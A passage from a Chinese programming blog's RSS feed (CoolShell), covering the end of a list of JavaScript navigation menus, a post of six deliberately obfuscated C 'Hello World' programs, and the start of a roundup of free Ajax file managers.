href=\"http://www.leigeber.com/2008/05/sliding-javascript-menu-highlight-1kb/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-08_highlight_menu.jpg\" alt=\"Sliding JavaScript Menu Highlight\" width=\"500\" height=\"107\" /></a></p>\n<h3>12. <a href=\"http://css-tricks.com/learning-jquery-fading-menu-replacing-content/\" target=\"_blank\">高亮式菜单</a></h3>\n<p>鼠标经过的时候，菜单项会高亮起来。而没有鼠标的经过的时候，其是暗淡的。</p>\n<p><a href=\"http://css-tricks.com/examples/MenuFader/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-05_fading_menu.jpg\" alt=\"Fading Menu - Replacing Content\" width=\"500\" height=\"129\" /></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://css-tricks.com/examples/MenuFader/\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>13. <a href=\"http://javascript-array.com/scripts/simple_drop_down_menu/\" target=\"_blank\">简单的多级下拉菜单</a></h3>\n<p>这是一个教程，教你怎么做这个菜单。</p>\n<p><a href=\"http://javascript-array.com/scripts/simple_drop_down_menu/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-06_multil_level_drop_down.jpg\" alt=\"Simple Multi-level Drop-Down Menu\" width=\"500\" height=\"167\" /></a></p>\n<h3>14. <a href=\"http://snook.ca/archives/javascript/jquery-bg-image-animations/\" target=\"_blank\">jQuery 制作的背景图动画菜单</a></h3>\n<p><a href=\"http://snook.ca/technical/jquery-bg/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-12_background_position.jpg\" alt=\"Using jQuery for Background Image Animations\" width=\"500\" height=\"150\" /></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://snook.ca/technical/jquery-bg/\">演示页面</a></span></span></p>\n<h3>15. <a href=\"http://www.chromasynthetic.com/blog/mootools-demo-redux/57/\">Mootools Redux</a></h3>\n<p>使用MooTools 制作的一个“鱼眼”式的导航条。</p>\n<p><a href=\"http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-10_mootools_demo.jpg\" alt=\"Mootools Redux\" width=\"500\" height=\"144\" /></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://www.chromasynthetic.com/blog/uploads/mootools_nav_example.html\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>16. <a href=\"http://berndmatzner.de/jquery/hoveraccordion/\">折叠式边栏菜单</a></h3>\n<p><a href=\"http://berndmatzner.de/jquery/hoveraccordion/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-11_hover_accordion.jpg\" alt=\"Using jQuery for Background Image Animations\" width=\"500\" height=\"200\" /></a></p>\n<h3>17. <a href=\"http://tools.uvumi.com/dropdown.html\">UvumiTools 式的下拉菜单</a></h3>\n<p>另一个基于MooTools 制作的下拉菜单。</p>\n<p><a href=\"http://tools.uvumi.com/dropdown.html\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-15_uvumitools%20_menu.jpg\" alt=\"UvumiTools Dropdown Menu\" width=\"500\" height=\"152\" /></a></p>\n<h3>18. <a href=\"http://stilbuero.de/jquery/tabs_3/\" target=\"_blank\">jQuery UI Tabs</a></h3>\n<p>使用jQuery制作的Tab页.</p>\n<p><a href=\"http://stilbuero.de/jquery/tabs_3/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-16_jquery_ui_tabs.jpg\" alt=\"jQuery UI Tabs\" width=\"500\" height=\"115\" /></a></p>\n<p><span style=\"text-decoration: underline;\"><span style=\"color: #0000ff;\"> <a href=\"http://stilbuero.de/jquery/tabs_3/\" target=\"_blank\">演示页面</a></span></span></p>\n<h3>19. <a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\" target=\"_blank\">右键菜单Proto.Menu </a></h3>\n<p>使用Prototype 框架制作的右键菜单。</p>\n<p><a href=\"http://yura.thinkweb2.com/scripting/contextMenu/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-19_right_click.jpg\" alt=\"Proto.Menu: Right Click Menu\" width=\"500\" height=\"175\" /></a></p>\n<h3>20. <a href=\"http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/\" target=\"_blank\">展开/收起式菜单</a></h3>\n<p>一个支持两层的有点类似于树形的菜单。</p>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://images.sixrevisions.com/2009/04/29-20_exp_col_menu.jpg\" alt=\"Accessible Expanding and Collapsing menu\" width=\"500\" height=\"213\" /></a></p>\n<p><a href=\"http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/\" target=\"_blank\">演示页面</a></p>\n<p>文章：<a href=\"http://sixrevisions.com/javascript/20-excellent-javascript-navigation-techniques-and-examples/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/918.html\">20个优秀的Javascript导航技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/918.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>6个变态的C语言Hello World程序</title>\n\t\t<link>https://coolshell.cn/articles/914.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/914.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 May 2009 11:21:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=914</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的六个程序片段主要完成这些事情： 输出Hello, World 混乱C语言的源代码 下面的所有程序都可以在GCC下编译通过，只有最后一个需要动用C++的编译...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/914.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面的六个程序片段主要完成这些事情：</p>\n<ol>\n<li>输出Hello, World</li>\n<li>混乱C语言的源代码</li>\n</ol>\n<p>下面的所有程序都可以在GCC下编译通过，只有最后一个需要动用C++的编译器g++才能编程通过。</p>\n<p><strong>hello1.c</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    #define _________ }\n    #define ________ putchar\n    #define _______ main\n    #define _(a) ________(a);\n    #define ______ _______(){\n    #define __ ______ _(0x48)_(0x65)_(0x6C)_(0x6C)\n    #define ___ _(0x6F)_(0x2C)_(0x20)_(0x77)_(0x6F)\n    #define ____ _(0x72)_(0x6C)_(0x64)_(0x21)\n    #define _____ __ ___ ____ _________\n    #include&lt;stdio.h&gt;\n    _____\n</pre>\n<p><span id=\"more-914\"></span></p>\n<p><strong>hello2.c</strong> </p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    #include&lt;stdio.h&gt;\n    main(){\n      int x=0,y[14],*z=&amp;y;*(z++)=0x48;*(z++)=y[x++]+0x1D;\n      *(z++)=y[x++]+0x07;*(z++)=y[x++]+0x00;*(z++)=y[x++]+0x03;\n      *(z++)=y[x++]-0x43;*(z++)=y[x++]-0x0C;*(z++)=y[x++]+0x57;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]+0x03;*(z++)=y[x++]-0x06;\n      *(z++)=y[x++]-0x08;*(z++)=y[x++]-0x43;*(z++)=y[x]-0x21;\n      x=*(--z);while(y[x]!=NULL)putchar(y[x++]);\n    }\n</pre>\n<p><strong>hello3.c</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    #include&lt;stdio.h&gt;\n    #define __(a) goto a;\n    #define ___(a) putchar(a);\n    #define _(a,b) ___(a) __(b);\n    main()\n    { _:__(t)a:_(&#039;r&#039;,g)b:_(&#039;$&#039;,p)\n      c:_(&#039;l&#039;,f)d:_(&#039; &#039;,s)e:_(&#039;a&#039;,s)\n      f:_(&#039;o&#039;,q)g:_(&#039;l&#039;,h)h:_(&#039;d&#039;,n)\n      i:_(&#039;e&#039;,w)j:_(&#039;e&#039;,x)k:_(&#039;\\n&#039;,z)\n      l:_(&#039;H&#039;,l)m:_(&#039;X&#039;,i)n:_(&#039;!&#039;,k)\n      o:_(&#039;z&#039;,q)p:_(&#039;q&#039;,b)q:_(&#039;,&#039;,d)\n      r:_(&#039;i&#039;,l)s:_(&#039;w&#039;,v)t:_(&#039;H&#039;,j)\n      u:_(&#039;a&#039;,a)v:_(&#039;o&#039;,a)w:_(&#039;)&#039;,k)\n      x:_(&#039;l&#039;,c)y:_(&#039;\\t&#039;,g)z:___(0x0)}\n</pre>\n<p><strong>hello4.c</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    int n[]={0x48,\n    0x65,0x6C,0x6C,\n    0x6F,0x2C,0x20,\n    0x77,0x6F,0x72,\n    0x6C,0x64,0x21,\n    0x0A,0x00},*m=n;\n    main(n){putchar\n    (*m)!=&#039;\\0&#039;?main\n    (m++):exit(n++);}\n</pre>\n<p><strong>hello5.c</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    main(){int i,n[]={(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;\n    1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))), (((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(\n    1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+ (1\n    &lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))- ((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1\n    )))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),(((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(\n    1&lt;&lt;(1&gt;&gt;1)))-(1&lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1\n    )&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))\n    -((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))),((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)\n    &lt;&lt;(1&lt;&lt;1)),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;\n    1))-((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-(1&lt;&lt;(1&gt;&gt;1))),(((1&lt;&lt;\n    1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))-(1&lt;&lt;(1&gt;&gt;1))), (((1&lt;&lt;1\n    )&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))- ((1&lt;&lt;1)&lt;&lt; (1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))+(1&lt;&lt;1)), (((1&lt;&lt;1)&lt;&lt; (\n    1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1))-((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)\n    &lt;&lt;(1&lt;&lt;(1&gt;&gt;1)))-((1&lt;&lt;1) &lt;&lt;(1&lt;&lt; (1&gt;&gt;1)))),\n    (((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt; (1&lt;&lt;1))- ((1\n    &lt;&lt;1)&lt;&lt;(1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;(1&gt;&gt;\n    1)))), (((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1) &lt;&lt;(1&lt;&lt;1))+(1&lt;&lt;(1\n    &gt;&gt;1))),(((1&lt;&lt;1)&lt;&lt;(1&lt;&lt;1))+((1&lt;&lt;1)&lt;&lt; (1&lt;&lt;(\n    1&gt;&gt;1))) + (1&lt;&lt; (1&gt;&gt;1)))}; for(i=(1&gt;&gt;1);i\n    &lt;(((1&lt;&lt;1) &lt;&lt;(1&lt;&lt;1))+((1 &lt;&lt;1)&lt;&lt; (1&lt;&lt;(1&gt;&gt;1\n    ))) + (1&lt;&lt;1)); i++) printf(&quot;%c&quot;,n[i]); }\n</pre>\n<p><strong>hello6.cpp</strong></p>\n<p>下面的程序只能由C++的编译器编译（比如：g++）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n    #include &lt;stdio.h&gt;\n    #define _(_) putchar(_);\n    int main(void){int i = 0;_(\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++i)_(++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++i)_(++++++++++++++\n    i)_(--++i)_(++++++i)_(------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------i)_(--------\n    ----------------i)_(++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++++\n    ++++++++++++++++++++++++++i)\n    _(----------------i)_(++++++\n    i)_(------------i)_(--------\n    --------i)_(----------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ----------------------------\n    ------i)_(------------------\n    ----------------------------\n    i)return i;}\n</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/914.html\">6个变态的C语言Hello World程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/914.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>175</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>7个免费强大的Ajax文件管理器</title>\n\t\t<link>https://coolshell.cn/articles/909.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/909.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 24 May 2009 12:46:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=909</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>如果你正在开发一个WEB应用，需要一个不错的强大的文件管理器，并且可以简单的定制，那么，下面的这七个免费开源的文件管理器你一会喜欢的。这些文件管理器都很强大，他...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/909.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>如果你正在开发一个WEB应用，需要一个不错的强大的文件管理器，并且可以简单的定制，那么，下面的这七个免费开源的文件管理器你一会喜欢的。这些文件管理器都很强大，他们全部都支持PHP，Javascript和Ajax，有几个还支持别的WEB开发语言。这些管理理可以让你完成目录文件浏览，搜索，上传/下载，编辑，拷贝，移动，删除等等文件操作功能。</p>\n<h3 class=\"title\">1. <a href=\"http://www.ajaxplorer.info/\">AjaXplorer</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager4.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>AjaXplorer 是一个免费的 Ajax 文件管理器，其很容易安装。而且它的布局很丰富，可以用于多种应用，比如：文件管理，文件共享，图片库，代码库等等。不过它只支持(4 呀 5) ，不支持数据库。</p>\n<p><span id=\"more-909\"></span></p>\n<ul>\n<li>改名/拷贝/移动/删除/下载文件或目录。</li>\n<li>以进度条的方式上传多个文件 (需要Flash 支持，不支持https)</li>\n<li>创建目录和空文件。</li>\n<li>编辑纯文本文件和代码 (js, php, html, java, sql, perl)，支持语法高亮。</li>\n<li>查看图片，有缩略图功能。</li>\n<li>可以在线地播放MP3文件。</li>\n<li>在线地查看Flash videos (FLV) 文件。</li>\n<li>可以在线地浏览或解压ZIP 文件。</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>下载</strong>：<a href=\"http://www.ajaxplorer.info/download/\">http://www.ajaxplorer.info/download/</a></li>\n<li><strong>演示</strong>：<a href=\"http://www.ajaxplorer.info/demo/\">http://www.ajaxplorer.info/demo/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://www.ajaxplorer.info/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://www.ajaxplorer.info/download/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">2. <a href=\"http://filenice.com/\">fileNice</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager1.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>fileNice 是一个免费的PHP文件浏览器。</p>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>主页：</strong><a href=\"http://filenice.com/\">http://filenice.com/</a></li>\n<li><strong>演示：</strong><a href=\"http://filenice.com/demo/\">http://filenice.com/demo/</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://filenice.com/demo/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://filenice.com/\" target=\"_blank\"></a></div>\n<h3 class=\"title\">3. <a href=\"http://www.solitude.dk/filethingie/\">File Thingie</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager2.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>File Thingie 是一个小型的文件管理器。由PHP写成。他主要的目的是提示一个WEB界面的文件管理器（如果你不能使用或是不会使用FTP）。通过File Thingie你可以完成下面这些事：</p>\n<ul>\n<li>安装简单— 只有一个文件</li>\n<li>多文件上传</li>\n<li>多用户和用户组</li>\n<li>创建子目录</li>\n<li>改名，移动，删除，拷贝文件和目录</li>\n<li>搜索文件或目录名</li>\n<li>通过黑/白名单进行文件级的存取控制</li>\n<li>编辑纯文本文件</li>\n<li>在线Unzip 文件</li>\n<li>非常容易地进行CSS界面定制</li>\n<li>支持多国语言</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>教程：</strong><a href=\"http://www.solitude.dk/filethingie/tour\">http://www.solitude.dk/filethingie/tour</a></li>\n<li><strong>下载：</strong><a href=\"http://www.solitude.dk/filethingie/download\">http://www.solitude.dk/filethingie/download</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://www.solitude.dk/filethingie/tour\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://www.solitude.dk/filethingie/download\" target=\"_blank\"></a></div>\n<h3 class=\"title\">4. <a href=\"http://og5.net/christoph/article/MooTools_based_FileManager\">MooTools based FileManager</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager3.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>MooTools based File-Manager 提供了预览，上传和修改文件和目录的功能。其主要功能如下：</p>\n<ul>\n<li>浏览文件和目录</li>\n<li>改名，删除，移动（拖放）,拷贝（Ctrl+拖放）和下载</li>\n<li>查看文件细节和预览图片文件，文本文件，压缩文件和音频文件。</li>\n<li>非常不错的UI设计 </li>\n<li>通过FancyUpload 上传文件</li>\n<li>提供在上传时自动缩放图片尺寸的选项</li>\n</ul>\n<p><strong>链接：</strong></p>\n<ul>\n<li><strong>演示：</strong><a href=\"http://og5.net/christoph/Scripts/FileManager/Demos/\">http://og5.net/christoph/Scripts/FileManager/Demos/</a></li>\n<li><strong>下载：</strong><a href=\"http://og5.net/christoph/article/MooTools_based_FileManager\">http://og5.net/christoph/article/MooTools_based_FileManager</a></li>\n</ul>\n<p> </p>\n<div id=\"livedownload\"><a class=\"livedemo\" href=\"http://og5.net/christoph/Scripts/FileManager/Demos/\" target=\"_blank\"></a><a class=\"livedownload\" href=\"http://og5.net/christoph/article/MooTools_based_FileManager\" target=\"_blank\"></a></div>\n<h3 class=\"title\">5. <a href=\"http://ecosmear.com/relay/\">Relay</a></h3>\n<p class=\"img\"><img decoding=\"async\" src=\"http://devsnippets.com/img/file-manager5.jpg\" alt=\"Ajax File Manager\" /></p>\n<p>Relay 是一个极牛的Ajax 文件管理器。在上传和下载文件它做得相当出色。下面是它的一些功能：</p>\n<ul>\n<li>可以随意拖放文件和目录</li>\n<li>动态地载入文件目录结构 